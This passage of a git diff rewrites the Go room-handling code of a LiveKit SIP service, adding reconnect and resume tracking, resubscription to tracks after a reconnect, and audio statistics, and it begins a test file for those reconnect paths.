w.r.SendData(&livekit.SipDTMF{ - Code: uint32(code), - Digit: sample, - }, lksdk.WithDataPublishReliable(true)) -} - -// roomOverrideLogger converts errors to warnings and ignore debug -type roomOverrideLogger struct { - logger.Logger -} - -func newRoomOverrideLogger(l logger.Logger) *roomOverrideLogger { - if l == nil { - l = logger.GetLogger() - } - - return &roomOverrideLogger{ - Logger: l.WithCallDepth(1), - } -} - -func (l *roomOverrideLogger) Debugw(msg string, keysAndValues ...interface{}) { - // ignore -} - -func (l *roomOverrideLogger) Infow(msg string, keysAndValues ...interface{}) { - l.Logger.Infow(msg, keysAndValues...) -} - -func (l *roomOverrideLogger) Warnw(msg string, err error, keysAndValues ...interface{}) { - l.Logger.Warnw(msg, err, keysAndValues...) -} - -func (l *roomOverrideLogger) Errorw(msg string, err error, keysAndValues ...interface{}) { - l.Logger.Warnw(msg, err, keysAndValues...) -} +// Copyright 2023 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "context" + "errors" + "fmt" + "io" + "math" + "strings" + "sync" + "sync/atomic" + "time" + + "github.com/frostbyte73/core" + "github.com/pion/webrtc/v4" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/dtmf" + "github.com/livekit/media-sdk/g711" + "github.com/livekit/media-sdk/jitter" + "github.com/livekit/media-sdk/mixer" + "github.com/livekit/media-sdk/rtp" + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + "github.com/livekit/protocol/sip" + lksdk "github.com/livekit/server-sdk-go/v2" + + "github.com/livekit/sip/pkg/config" + "github.com/livekit/sip/pkg/media/opus" +) + +// errRoomClosed is returned when the room handle is gone, which happens once the +// call has been torn down. +var errRoomClosed = errors.New("room is closed") + +type RoomStatsSnapshot struct { + // Stats quantifying total incoming traffic from all tracks + InputPackets uint64 `json:"input_packets"` + InputBytes uint64 `json:"input_bytes"` + Resets uint64 `json:"resets"` + Gaps uint64 `json:"gaps"` + GapsSum uint64 `json:"gaps_sum"` + Late uint64 `json:"late"` + LateSum uint64 `json:"late_sum"` + DelayedPackets uint64 `json:"delayed_packets"` + DelayedSum uint64 `json:"delayed_sum"` + RapidPackets uint64 `json:"rapid_packets"` + DataPackets uint64 `json:"data_packets"` + + // Stats quantifying total outgoing traffic + PublishedFrames uint64 `json:"published_frames"` + PublishedSamples uint64 `json:"published_samples"` + PublishTX float64 `json:"publish_tx"` + + JitterBufferPacketsLost uint64 `json:"jitter_buffer_packets_lost"` + JitterBufferPacketsDropped uint64 `json:"jitter_buffer_packets_dropped"` + + TrackSubscribes uint64 `json:"track_subscribes"` + Resumes uint64 `json:"resumes"` + Reconnects uint64 `json:"reconnects"` + // Recovering reports whether the signal connection was down when the + // snapshot was taken. PublishedFrames and PublishTX are unreliable while set. + Recovering bool `json:"recovering"` + + LatencyOutRecv LatencyStatsSnapshot `json:"latency_out_recv"` + + Closed bool `json:"closed"` +} + +type RoomStats struct { + PublishedFrames atomic.Uint64 + PublishedSamples atomic.Uint64 + PublishTX atomic.Uint64 + + rtpStats rtpCountingStats + dataPackets atomic.Uint64 + + // TrackSubscribes counts subscribe requests issued for remote tracks. + // Attempts, not confirmations. + TrackSubscribes atomic.Uint64 + + // Resumes and Reconnects count the two ways the signal connection recovers + // during a call, and are mutually exclusive. A resume keeps the peer + // connections and subscriptions; a reconnect rebuilds them. Neither is + // counted until the recovery succeeds. + Resumes atomic.Uint64 + Reconnects atomic.Uint64 + + // Recovering is set while the signal connection is down. PublishedFrames + // and PublishTX are counted before the track write, so they keep reporting a + // healthy rate even though the audio is being dropped. Read them only when + // this is false. + Recovering atomic.Bool + + JitterBufferPacketsLost atomic.Uint64 + JitterBufferPacketsDropped atomic.Uint64 + + LatencyOutRecv LatencyStats // measures track recv → opus decode → mixer input. + + Mixer mixer.Stats + + Closed atomic.Bool + + mu sync.Mutex + last struct { + Time time.Time + PublishedSamples uint64 + } +} + +func (s *RoomStats) Load() RoomStatsSnapshot { + return RoomStatsSnapshot{ + InputPackets: s.rtpStats.packets.Load(), + InputBytes: s.rtpStats.bytes.Load(), + Resets: s.rtpStats.resets.Load(), + Gaps: s.rtpStats.gaps.Load(), + GapsSum: s.rtpStats.gapsSum.Load(), + Late: s.rtpStats.late.Load(), + LateSum: s.rtpStats.lateSum.Load(), + DelayedPackets: s.rtpStats.delayedPackets.Load(), + DelayedSum: s.rtpStats.delayedSum.Load(), + RapidPackets: s.rtpStats.rapidPackets.Load(), + DataPackets: s.dataPackets.Load(), + JitterBufferPacketsLost: s.JitterBufferPacketsLost.Load(), + JitterBufferPacketsDropped: s.JitterBufferPacketsDropped.Load(), + + TrackSubscribes: s.TrackSubscribes.Load(), + Resumes: s.Resumes.Load(), + Reconnects: s.Reconnects.Load(), + Recovering: s.Recovering.Load(), + + PublishedFrames: s.PublishedFrames.Load(), + PublishedSamples: s.PublishedSamples.Load(), + PublishTX: math.Float64frombits(s.PublishTX.Load()), + LatencyOutRecv: s.LatencyOutRecv.Load(), + Closed: s.Closed.Load(), + } +} + +func (s *RoomStats) Update() { + s.mu.Lock() + defer s.mu.Unlock() + t := time.Now() + dt := t.Sub(s.last.Time).Seconds() + + curPublishedSamples := s.PublishedSamples.Load() + + if dt > 0 { + txSamples := curPublishedSamples - s.last.PublishedSamples + + txRate := float64(txSamples) / dt + + s.PublishTX.Store(math.Float64bits(txRate)) + } + + s.last.Time = t + s.last.PublishedSamples = curPublishedSamples +} + +type ParticipantInfo struct { + ID string + RoomName string + Identity string + Name string +} + +// RoomInterface defines the interface for room operations +type RoomInterface interface { + Connect(ctx context.Context, conf *config.Config, rconf RoomConfig) error + Closed() <-chan struct{} + ClosedReason() livekit.DisconnectReason + Subscribed() <-chan struct{} + Room() *lksdk.Room + Subscribe() + Close() error + CloseWithReason(reason livekit.DisconnectReason) error + Participant() ParticipantInfo + NewParticipantTrack(sampleRate int) (msdk.WriteCloser[msdk.PCM16Sample], error) + NewTrack() *mixer.Input + lksdk.RoomRPCInterface + + // WriteOutboundAudioTo tells the room where to send audio to. + // Returns the previously-set writer (if one exists). + WriteOutboundAudioTo(w msdk.PCM16Writer) msdk.PCM16Writer + + // WriteOutboundDTMFTo tells the room where to send DTMF to. + // Returns the previously-set writer (if one exists). + WriteOutboundDTMFTo(w msdk.WriteCloser[string]) msdk.WriteCloser[string] + + // GetInboundAudioWriter returns a writer that, when written to, writes + // audio to the room. + GetInboundAudioWriter() (msdk.PCM16Writer, error) + // GetInboundDTMFWriter returns a writer that, when written to, writes DTMF + // to the room. + GetInboundDTMFWriter() msdk.WriteCloser[string] +} + +type GetRoomFunc func(log logger.Logger, st *RoomStats) RoomInterface + +func DefaultGetRoomFunc(log logger.Logger, st *RoomStats) RoomInterface { + return NewRoom(log, st) +} + +type Room struct { + log logger.Logger + roomLog logger.Logger // deferred logger + // room is cleared on close while SDK callback goroutines still read it. + room atomic.Pointer[lksdk.Room] + mix *mixer.Mixer + + outboundAudio *msdk.WriteCloserSwitch[msdk.PCM16Sample] + outboundDTMF *msdk.WriteCloserSwitch[string] + inboundDTMF inboundDTMFWriter + + // p is replaced on every reconnect, since the server issues a new + // participant SID, and read concurrently by Participant(). + p atomic.Pointer[ParticipantInfo] + reconnect atomic.Pointer[reconnectState] + ready core.Fuse + subscribe atomic.Bool + subscribed core.Fuse + stopped core.Fuse + closed core.Fuse + stats *RoomStats +} + +type ParticipantConfig struct { + Identity string + Name string + Metadata string + Attributes map[string]string +} + +type RoomConfig struct { + WsUrl string + Token string + RoomName string + Participant ParticipantConfig + RoomPreset string + RoomConfig *livekit.RoomConfiguration + JitterBuf bool + LogSignalChanges bool +} + +func NewRoom(log logger.Logger, st *RoomStats) *Room { + if st == nil { + st = &RoomStats{} + } + r := &Room{ + log: log, + stats: st, + + outboundAudio: msdk.NewWriteCloserSwitch[msdk.PCM16Sample](RoomSampleRate), + outboundDTMF: msdk.NewWriteCloserSwitch[string](0), + } + r.inboundDTMF = inboundDTMFWriter{r} + + var err error + r.mix, err = mixer.NewMixer(r.outboundAudio, rtp.DefFrameDur, 1, mixer.WithStats(&st.Mixer), mixer.WithOutputChannel()) + if err != nil { + panic(err) + } + + roomLog, resolve := log.WithDeferredValues() + r.roomLog = roomLog + + go func() { + select { + case <-r.ready.Watch(): + if room := r.room.Load(); room != nil { + resolve.Resolve("room", room.Name(), "roomID", room.SID()) + } else { + resolve.Resolve() + } + case <-r.stopped.Watch(): + resolve.Resolve() + case <-r.closed.Watch(): + resolve.Resolve() + } + }() + + return r +} + +func (r *Room) Closed() <-chan struct{} { + if r == nil { + return nil + } + return r.stopped.Watch() +} + +// ClosedReason returns the raw protocol disconnect reason once Closed() has +// fired. Returns livekit.DisconnectReason_UNKNOWN_REASON if the room hasn't +// disconnected or no reason was reported. +func (r *Room) ClosedReason() livekit.DisconnectReason { + if r == nil { + return livekit.DisconnectReason_UNKNOWN_REASON + } + room := r.room.Load() + if room == nil { + return livekit.DisconnectReason_UNKNOWN_REASON + } + return room.DisconnectReason() +} + +func (r *Room) Subscribed() <-chan struct{} { + if r == nil { + return nil + } + return r.subscribed.Watch() +} + +func (r *Room) Room() *lksdk.Room { + if r == nil { + return nil + } + return r.room.Load() +} + +func (r *Room) participantJoin(rp *lksdk.RemoteParticipant) { + log := r.roomLog.WithValues("participant", rp.Identity(), "participantID", rp.SID()) + log.Debugw("participant joined") + switch rp.Kind() { + case lksdk.ParticipantSIP: + // Avoid a deadlock where two SIP participant join a room and won't publish their track. + // Each waits for the other's track to subscribe before publishing its own track. + // So we just assume SIP participants will eventually start speaking. + r.subscribed.Break() + log.Infow("unblocking subscription - second sip participant is in the room") + } +} + +func (r *Room) participantLeft(rp *lksdk.RemoteParticipant) { + log := r.roomLog.WithValues("participant", rp.Identity(), "participantID", rp.SID()) + log.Debugw("participant left") +} + +func (r *Room) subscribeTo(pub *lksdk.RemoteTrackPublication, rp *lksdk.RemoteParticipant) { + log := r.roomLog.WithValues("participant", rp.Identity(), "participantID", rp.SID(), "trackID", pub.SID(), "trackName", pub.Name()) + if pub.Kind() != lksdk.TrackKindAudio { + log.Debugw("skipping non-audio track") + return + } + log.Debugw("subscribing to a track") + r.stats.TrackSubscribes.Add(1) + if err := pub.SetSubscribed(true); err != nil { + log.Errorw("cannot subscribe to the track", err) + return + } + r.subscribed.Break() +} + +func (r *Room) Connect(ctx context.Context, conf *config.Config, rconf RoomConfig) error { + if rconf.WsUrl == "" { + rconf.WsUrl = conf.WsUrl + } + partConf := rconf.Participant + r.p.Store(&ParticipantInfo{ + RoomName: rconf.RoomName, + Identity: partConf.Identity, + Name: partConf.Name, + }) + roomCallback := r.newRoomCallback(conf, rconf) + + if rconf.Token == "" { + // TODO: Remove this code path, always sign tokens on LiveKit server. + // For now, match Cloud behavior and do not send extra attrs in the token. + tokenAttrs := make(map[string]string, len(partConf.Attributes)) + for _, k := range []string{ + livekit.AttrSIPCallID, + livekit.AttrSIPTrunkID, + livekit.AttrSIPDispatchRuleID, + livekit.AttrSIPTrunkNumber, + livekit.AttrSIPPhoneNumber, + } { + if v, ok := partConf.Attributes[k]; ok { + tokenAttrs[k] = v + } + } + var err error + rconf.Token, err = sip.BuildSIPToken(sip.SIPTokenParams{ + APIKey: conf.ApiKey, + APISecret: conf.ApiSecret, + RoomName: rconf.RoomName, + ParticipantIdentity: partConf.Identity, + ParticipantName: partConf.Name, + ParticipantMetadata: partConf.Metadata, + ParticipantAttributes: tokenAttrs, + RoomPreset: rconf.RoomPreset, + RoomConfig: rconf.RoomConfig, + }) + if err != nil { + return err + } + } + room := lksdk.NewRoom(roomCallback) + room.SetLogger(newRoomOverrideLogger(r.log)) + err := room.JoinWithContextAndToken(ctx, rconf.WsUrl, rconf.Token, + lksdk.WithAutoSubscribe(false), + lksdk.WithExtraAttributes(partConf.Attributes), + ) + if err != nil { + return err + } + r.room.Store(room) + r.setParticipantFromRoom() + p := r.Participant() + r.log = r.log.WithValues("room", room.Name(), "roomID", room.SID(), "participant", p.Identity, "participantID", p.ID) + r.log.Infow("SIP participant joined room") + room.LocalParticipant.SetAttributes(partConf.Attributes) + r.ready.Break() + r.subscribe.Store(false) // already false, but keep for visibility + + // Not subscribing to any tracks just yet! + return nil +} + +// setParticipantFromRoom refreshes the cached participant identifiers from the +// SDK room. Runs on recovery too, since a reconnect gets a new SID. +// +// Does not rebuild r.log, which is read without synchronisation elsewhere in +// this file. The reconnect handler logs the SID change instead. +func (r *Room) setParticipantFromRoom() { + room := r.room.Load() + if room == nil { + return + } + p := ParticipantInfo{} + if cur := r.p.Load(); cur != nil { + p = *cur + } + p.ID = room.LocalParticipant.SID() + p.Identity = room.LocalParticipant.Identity() + r.p.Store(&p) +} + +// newRoomCallback builds the LiveKit room callback for this SIP participant. +// Separate from Connect so tests can build it without joining a room. +func (r *Room) newRoomCallback(conf *config.Config, rconf RoomConfig) *lksdk.RoomCallback { + return &lksdk.RoomCallback{ + OnParticipantConnected: func(rp *lksdk.RemoteParticipant) { + log := r.roomLog.WithValues("participant", rp.Identity(), "participantID", rp.SID()) + if !r.subscribe.Load() { + log.Debugw("skipping participant join event - subscribed flag not set") + return // will subscribe later + } + r.participantJoin(rp) + }, + OnParticipantDisconnected: func(rp *lksdk.RemoteParticipant) { + r.participantLeft(rp) + }, + ParticipantCallback: lksdk.ParticipantCallback{ + OnTrackPublished: func(pub *lksdk.RemoteTrackPublication, rp *lksdk.RemoteParticipant) { + log := r.roomLog.WithValues("participant", rp.Identity(), "participantID", rp.SID(), "trackID", pub.SID(), "trackName", pub.Name()) + if !r.subscribe.Load() { + log.Debugw("skipping track publish event - subscribed flag not set") + return // will subscribe later + } + r.subscribeTo(pub, rp) + }, + OnTrackSubscribed: func(track *webrtc.TrackRemote, pub *lksdk.RemoteTrackPublication, rp *lksdk.RemoteParticipant) { + go func() { + subscribedAt := time.Now().UnixMilli() + log := r.roomLog.WithValues("participant", rp.Identity(), "participantID", rp.SID(), "trackID", track.ID(), "trackName", pub.Name(), "subscribedAt", subscribedAt) + if !r.ready.IsBroken() { + log.Warnw("ignoring track, room not ready", nil) + return + } + defer func() { log.Infow("track closed", "closedAt", time.Now().UnixMilli()) }() + + mTrack := r.NewTrack() + if mTrack == nil { + return // closed + } + defer mTrack.Close() + + var out msdk.PCM16Writer = mTrack + // Outbound latency: measure track recv → opus decode → mixer input. + var outRecvLatencyEntry atomic.Int64 + out = newLatencyPCMExit(out, &outRecvLatencyEntry, &r.stats.LatencyOutRecv) + if rconf.LogSignalChanges { + var err error + out, err = NewSignalLogger(log, track.ID(), out) + if err != nil { + log.Errorw("cannot create signal logger", err) + return + } + } + + codec := track.Codec() + codecName := strings.TrimPrefix(codec.MimeType, "audio/") + var rh rtp.Handler + switch strings.ToLower(codecName) { + case "opus": + cw, err := opus.Decode(out, channels, log) + if err != nil { + log.Errorw("cannot create opus decoder", err) + return + } + defer cw.Close() + + rh = rtp.NewMediaStreamIn(cw) + case "pcmu": + cw := g711.DecodeULaw(out) + rh = rtp.NewMediaStreamIn(cw) + case "pcma": + cw := g711.DecodeALaw(out) + rh = rtp.NewMediaStreamIn(cw) + default: + log.Warnw("unsupported sip room codec", nil, "codec", codec.MimeType) + return + } + h := rtp.NewNopCloser(rh) + if conf.EnableJitterBuffer { + h = rtp.HandleJitter(h, jitter.WithPacketLossHandler(func(packetsLost, packetsDropped uint64) { + r.stats.JitterBufferPacketsLost.Store(packetsLost) + r.stats.JitterBufferPacketsDropped.Store(packetsDropped) + })) + } + + h = newRTPStreamStats(h, &r.stats.rtpStats) + h = newLatencyRTPEntry(h, &outRecvLatencyEntry) + err := rtp.HandleLoop(track, h) + if err != nil && !errors.Is(err, io.EOF) { + log.Infow("room track rtp handler returned with failure", "error", err) + } + }() + }, + OnDataPacket: func(data lksdk.DataPacket, params lksdk.DataReceiveParams) { + switch data := data.(type) { + case *livekit.SipDTMF: + r.stats.dataPackets.Add(1) + // TODO: This ignores code. Once it lands and we're okay with functional changes, + // consider updating this to use code as fallback. + err := r.outboundDTMF.WriteSample(data.Digit) + if err != nil && !errors.Is(err, context.Canceled) { + r.log.Errorw("cannot forward dtmf to sip", err) + } + } + }, + OnTrackUnsubscribed: func(track *webrtc.TrackRemote, pub *lksdk.RemoteTrackPublication, rp *lksdk.RemoteParticipant) { + r.roomLog.Infow("track unsubscribed", "participant", rp.Identity(), "participantID", rp.SID(), "trackID", track.ID(), "trackName", pub.Name()) + }, + }, + OnReconnecting: func() { + r.onReconnecting() + }, + OnReconnected: func() { + r.onReconnected() + }, + OnDisconnected: func() { + r.stopped.Break() + }, + OnDisconnectedWithReason: func(reason lksdk.DisconnectionReason) { + // OnDisconnected fires first and owns the teardown. This only + // records the reason, which CloseWithReason may clear later. + r.roomLog.Infow("disconnected from room", "reason", reason) + }, + } +} + +// reconnectState is captured when the signal connection drops so onReconnected +// can tell a resume from a reconnect and report the gap. +type reconnectState struct { + startedAt time.Time + sid string +} + +func recoveryKind(resumed bool) string { + if resumed { + return "resume" + } + return "reconnect" +} + +// onReconnecting runs when the SDK loses the signal connection and starts +// recovering. Audio published until onReconnected may be dropped: a reconnect +// detaches our track from its peer connection while the connection is rebuilt, +// and writes to a detached track are discarded without an error. +func (r *Room) onReconnecting() { + var sid string + if room := r.room.Load(); room != nil { + sid = room.LocalParticipant.SID() + } + r.reconnect.Store(&reconnectState{startedAt: time.Now(), sid: sid}) + r.stats.Recovering.Store(true) + r.roomLog.Infow("lost connection to room, recovering", "participantID", sid) +} + +// onReconnected runs when the SDK recovers the signal connection, either by +// resuming the old session or reconnecting from scratch. +// +// A resume keeps the peer connections, and the SDK replays subscription state +// itself, so leave it alone. A reconnect builds a new subscriber peer +// connection with no subscriptions and the SDK restores only what we publish, +// so re-issue the subscriptions here. +func (r *Room) onReconnected() { + prev := r.reconnect.Swap(nil) + r.stats.Recovering.Store(false) + + room := r.room.Load() + if room == nil { + return + } + + // The SID is stable across a resume and changes on a reconnect. Treat an + // unknown previous SID as a reconnect: re-subscribing is idempotent, while + // missing one leaves the call with no inbound room audio. + sid := room.LocalParticipant.SID() + resumed := prev != nil && prev.sid == sid + + var gap time.Duration + if prev != nil { + gap = time.Since(prev.startedAt) + } + if resumed { + r.stats.Resumes.Add(1) + } else { + r.stats.Reconnects.Add(1) + } + + r.setParticipantFromRoom() + r.roomLog.Infow("recovered connection to room", + "kind", recoveryKind(resumed), + "gap", gap, + "participantID", sid, + "previousParticipantID", func() string { + if prev == nil { + return "" + } + return prev.sid + }(), + ) + + if resumed { + return + } + if !r.subscribe.Load() { + // Call is not answered yet, so subscribing here would pull room audio + // into a leg that has not been accepted. + return + } + // The SDK calls this from the reconnect itself, inside the join's timeout, + // and subscribing does a blocking websocket write per track. Pass the room we + // already read so a concurrent close cannot make this a nil dereference. + go r.resubscribeAfterReconnect(room) +} + +func (r *Room) resubscribeAfterReconnect(room *lksdk.Room) { + if r.closed.IsBroken() || r.stopped.IsBroken() { + return + } + r.roomLog.Infow("re-subscribing to remote tracks after reconnect") + r.subscribeAll(room) +} + +func (r *Room) RegisterRpcCtxMethod(method string, handler lksdk.RpcHandlerCtxFunc) error { + room := r.room.Load() + if room == nil { + return errRoomClosed + } + return room.RegisterRpcCtxMethod(method, handler) +} + +func (r *Room) Subscribe() { + room := r.room.Load() + if room == nil { + return + } + r.subscribe.Store(true) + r.subscribeAll(room) +} + +// subscribeAll subscribes to every remote audio track in the room. Safe to +// repeat, since a duplicate subscribe is a no-op server side. +func (r *Room) subscribeAll(room *lksdk.Room) { + list := room.GetRemoteParticipants() + r.log.Debugw("subscribing to existing room participants", "participants", len(list)) + for _, rp := range list { + r.participantJoin(rp) + for _, pub := range rp.TrackPublications() { + if remotePub, ok := pub.(*lksdk.RemoteTrackPublication); ok { + r.subscribeTo(remotePub, rp) + } + } + } +} + +func (r *Room) Close() error { + return r.CloseWithReason(livekit.DisconnectReason_UNKNOWN_REASON) +} + +func (r *Room) CloseWithReason(reason livekit.DisconnectReason) error { + if r == nil { + return nil + } + var errs []error + r.closed.Once(func() { + defer r.stats.Closed.Store(true) + + r.subscribe.Store(false) + errs = append(errs, r.outboundAudio.Close()) + errs = append(errs, r.outboundDTMF.Close()) + if room := r.room.Swap(nil); room != nil { + room.DisconnectWithReason(reason) + } + if r.mix != nil { + r.mix.Stop() + } + }) + return errors.Join(errs...) +} + +func (r *Room) Participant() ParticipantInfo { + if r == nil { + return ParticipantInfo{} + } + if p := r.p.Load(); p != nil { + return *p + } + return ParticipantInfo{} +} + +// NewParticipantTrack publishes a local Opus audio track into the LiveKit room. +// TODO(alexfish): Remove this from the public interface. +func (r *Room) NewParticipantTrack(sampleRate int) (msdk.WriteCloser[msdk.PCM16Sample], error) { + track, err := webrtc.NewTrackLocalStaticSample(webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeOpus}, "audio", "pion") + if err != nil { + return nil, err + } + room := r.room.Load() + if room == nil { + return nil, errRoomClosed + } + p := room.LocalParticipant + if _, err = p.PublishTrack(track, &lksdk.TrackPublicationOptions{ + Name: p.Identity(), + }); err != nil { + return nil, err + } + ow := msdk.FromSampleWriter[opus.Sample](track, sampleRate, rtp.DefFrameDur) + pw, err := opus.Encode(ow, channels, r.log) + if err != nil { + return nil, err + } + return newMediaWriterCount(pw, &r.stats.PublishedFrames, &r.stats.PublishedSamples), nil +} + +func (r *Room) SendData(data lksdk.DataPacket, opts ...lksdk.DataPublishOption) error { + if r == nil || !r.ready.IsBroken() || r.closed.IsBroken() { + return nil + } + room := r.room.Load() + if room == nil { + return nil + } + return room.LocalParticipant.PublishDataPacket(data, opts...) +} + +func (r *Room) NewTrack() *mixer.Input { + if r == nil { + return nil + } + return r.mix.NewInput() +} + +func (r *Room) WriteOutboundAudioTo(w msdk.PCM16Writer) msdk.PCM16Writer { + return r.outboundAudio.Swap(w) +} + +func (r *Room) WriteOutboundDTMFTo(w msdk.WriteCloser[string]) msdk.WriteCloser[string] { + return r.outboundDTMF.Swap(w) +} + +func (r *Room) GetInboundAudioWriter() (msdk.PCM16Writer, error) { + return r.NewParticipantTrack(RoomSampleRate) +} + +func (r *Room) GetInboundDTMFWriter() msdk.WriteCloser[string] { + return &r.inboundDTMF +} + +type inboundDTMFWriter struct { + r *Room +} + +func (w *inboundDTMFWriter) String() string { + return "inboundDTMFWriter" +} + +func (w *inboundDTMFWriter) SampleRate() int { + return dtmf.SampleRate +} + +func (w *inboundDTMFWriter) Close() error { + return nil +} + +func (w *inboundDTMFWriter) WriteSample(sample string) error { + if len(sample) != 1 { + return fmt.Errorf("invalid DTMF sample length %d: %v", len(sample), sample) + } + code, tones := dtmf.Tone(byte(sample[0])) + if len(tones) == 0 { + return fmt.Errorf("invalid DTMF sample %v", sample) + } + return w.r.SendData(&livekit.SipDTMF{ + Code: uint32(code), + Digit: sample, + }, lksdk.WithDataPublishReliable(true)) +} + +// roomOverrideLogger converts errors to warnings and ignore debug +type roomOverrideLogger struct { + logger.Logger +} + +func newRoomOverrideLogger(l logger.Logger) *roomOverrideLogger { + if l == nil { + l = logger.GetLogger() + } + + return &roomOverrideLogger{ + Logger: l.WithCallDepth(1), + } +} + +func (l *roomOverrideLogger) Debugw(msg string, keysAndValues ...interface{}) { + // ignore +} + +func (l *roomOverrideLogger) Infow(msg string, keysAndValues ...interface{}) { + l.Logger.Infow(msg, keysAndValues...) +} + +func (l *roomOverrideLogger) Warnw(msg string, err error, keysAndValues ...interface{}) { + l.Logger.Warnw(msg, err, keysAndValues...) +} + +func (l *roomOverrideLogger) Errorw(msg string, err error, keysAndValues ...interface{}) { + l.Logger.Warnw(msg, err, keysAndValues...) +} diff --git a/pkg/sip/room_test.go b/pkg/sip/room_test.go index 7eaefa5e0..0f1ba579f 100644 --- a/pkg/sip/room_test.go +++ b/pkg/sip/room_test.go @@ -1,285 +1,285 @@ -// Copyright 2026 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "sync" - "sync/atomic" - "testing" - "time" - - "github.com/stretchr/testify/require" - - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - lksdk "github.com/livekit/server-sdk-go/v2" - - "github.com/livekit/sip/pkg/config" -) - -const ( - testRemoteIdentity = "agent" - testRemoteSID = "PA_remote" - testRemoteTrackSID = "TR_remote_audio" -) - -func testRoomInfo() *livekit.Room { - return &livekit.Room{Sid: "RM_test", Name: "test-room"} -} - -func testLocalInfo(sid string) *livekit.ParticipantInfo { - return &livekit.ParticipantInfo{ - Sid: sid, - Identity: "sip-participant", - Kind: livekit.ParticipantInfo_SIP, - } -} - -// testRemoteInfo is the other party in the room, holding one audio track. It -// never reconnects, so its SIDs stay the same across our reconnect, which is -// what makes the SDK treat its track as already known. -func testRemoteInfo() []*livekit.ParticipantInfo { - return []*livekit.ParticipantInfo{{ - Sid: testRemoteSID, - Identity: testRemoteIdentity, - State: livekit.ParticipantInfo_ACTIVE, - Tracks: []*livekit.TrackInfo{{ - Sid: testRemoteTrackSID, - Type: livekit.TrackType_AUDIO, - Name: "microphone", - }}, - }} -} - -// --- reconnect --------------------------------------------------------------- - -type reconnectFixture struct { - room *Room - sdk *lksdk.Room - published *atomic.Int32 // times SIP's OnTrackPublished handler ran -} - -func newReconnectFixture(t *testing.T) *reconnectFixture { - t.Helper() - - r := NewRoom(logger.NewTestLogger(t), &RoomStats{}) - t.Cleanup(func() { _ = r.Close() }) - - cb := r.newRoomCallback(&config.Config{}, RoomConfig{}) - - // Wrap the callback before handing it to the SDK: NewRoom copies the fields - // via Merge, so wrapping afterwards would not be observed. - var published atomic.Int32 - inner := cb.ParticipantCallback.OnTrackPublished - cb.ParticipantCallback.OnTrackPublished = func(pub *lksdk.RemoteTrackPublication, rp *lksdk.RemoteParticipant) { - published.Add(1) - inner(pub, rp) - } - - sdk := lksdk.NewRoom(cb) - r.room.Store(sdk) - r.ready.Break() - - return &reconnectFixture{room: r, sdk: sdk, published: &published} -} - -// join brings the fixture to the state of an answered call: joined, remote -// participant present, and subscribing enabled. -func (f *reconnectFixture) join(t *testing.T) { - t.Helper() - - f.sdk.OnRoomJoined(testRoomInfo(), testLocalInfo("PA_sip_1"), testRemoteInfo(), &livekit.ServerInfo{}, nil) - require.EqualValues(t, 1, f.published.Load(), "expected the initial publication to be announced") - - f.room.Subscribe() - require.True(t, f.room.subscribe.Load()) - require.Len(t, f.sdk.GetRemoteParticipants(), 1) - - f.published.Store(0) // only count what happens from here on -} - -// reconnectEscalated simulates a failed resume escalating to a reconnect, where -// the SDK skips OnRestarting. -func (f *reconnectFixture) reconnectEscalated() { - f.sdk.OnResuming() - f.sdk.OnRoomJoined(testRoomInfo(), testLocalInfo("PA_sip_2"), testRemoteInfo(), &livekit.ServerInfo{}, nil) - f.sdk.OnRestarted(testRoomInfo(), testLocalInfo("PA_sip_2"), testRemoteInfo()) -} - -// reconnectServerInitiated simulates the server asking for a reconnect directly, -// where OnRestarting does run. -func (f *reconnectFixture) reconnectServerInitiated() { - f.sdk.OnRestarting() - f.sdk.OnRoomJoined(testRoomInfo(), testLocalInfo("PA_sip_2"), testRemoteInfo(), &livekit.ServerInfo{}, nil) - f.sdk.OnRestarted(testRoomInfo(), testLocalInfo("PA_sip_2"), testRemoteInfo()) -} - -// TestRoomReconnect covers what happens to a call when the SIP pod loses -// its signal connection to the server and recovers it. -// -// These subtests call the SDK's exported reconnect handlers directly. A real -// reconnect needs a live peer connection to succeed, so a fake signal server -// would have to complete ICE/DTLS to reach the same states. -// -// Only participants connected to the affected pod reconnect. Everyone other -// participant in that room is unaffected and keep their session and their SIDs. -// So "clearing participants" below means dropping our own view of them, not -// removing anyone from the room. There are two ways to reach a reconnect: -// -// 1- server-initiated: the reconnect is attempted right away, affected participants -// drop their participant map, and then rebuild it from the OnRoomJoined -// snapshot and re-announce their tracks. -// 2- resume-then-escalate: resume is first attempted. If it fails, then switch -// to a reconnect, and the stale participant map survives so no tracks are -// announced. -func TestRoomReconnect(t *testing.T) { - t.Run("escalated reconnect does not re-announce tracks from remote participants", func(t *testing.T) { - f := newReconnectFixture(t) - f.join(t) - - f.reconnectEscalated() - - require.EqualValues(t, 0, f.published.Load(), - "OnTrackPublished must not re-fire on the escalated path") - }) - - // The other path does re-announce, which is why lost audio is intermittent. - t.Run("server initiated reconnect re-announces tracks from remote participants", func(t *testing.T) { - f := newReconnectFixture(t) - f.join(t) - - f.reconnectServerInitiated() - - require.EqualValues(t, 1, f.published.Load(), - "OnTrackPublished is expected to re-fire when OnRestarting cleared the participants") - }) - - // However the reconnect was reached, SIP must re-issue its subscriptions. - t.Run("resubscribes after escalated reconnect", func(t *testing.T) { - f := newReconnectFixture(t) - f.join(t) - - before := f.room.stats.TrackSubscribes.Load() - f.reconnectEscalated() - - require.Eventually(t, func() bool { - return f.room.stats.TrackSubscribes.Load() > before - }, time.Second, 10*time.Millisecond, - "SIP must re-subscribe to remote tracks after a reconnect") - }) - - // An outbound call joins the room and publishes before it starts dialing, but - // defers Subscribe() until the callee answers. A reconnect in that window - // must not 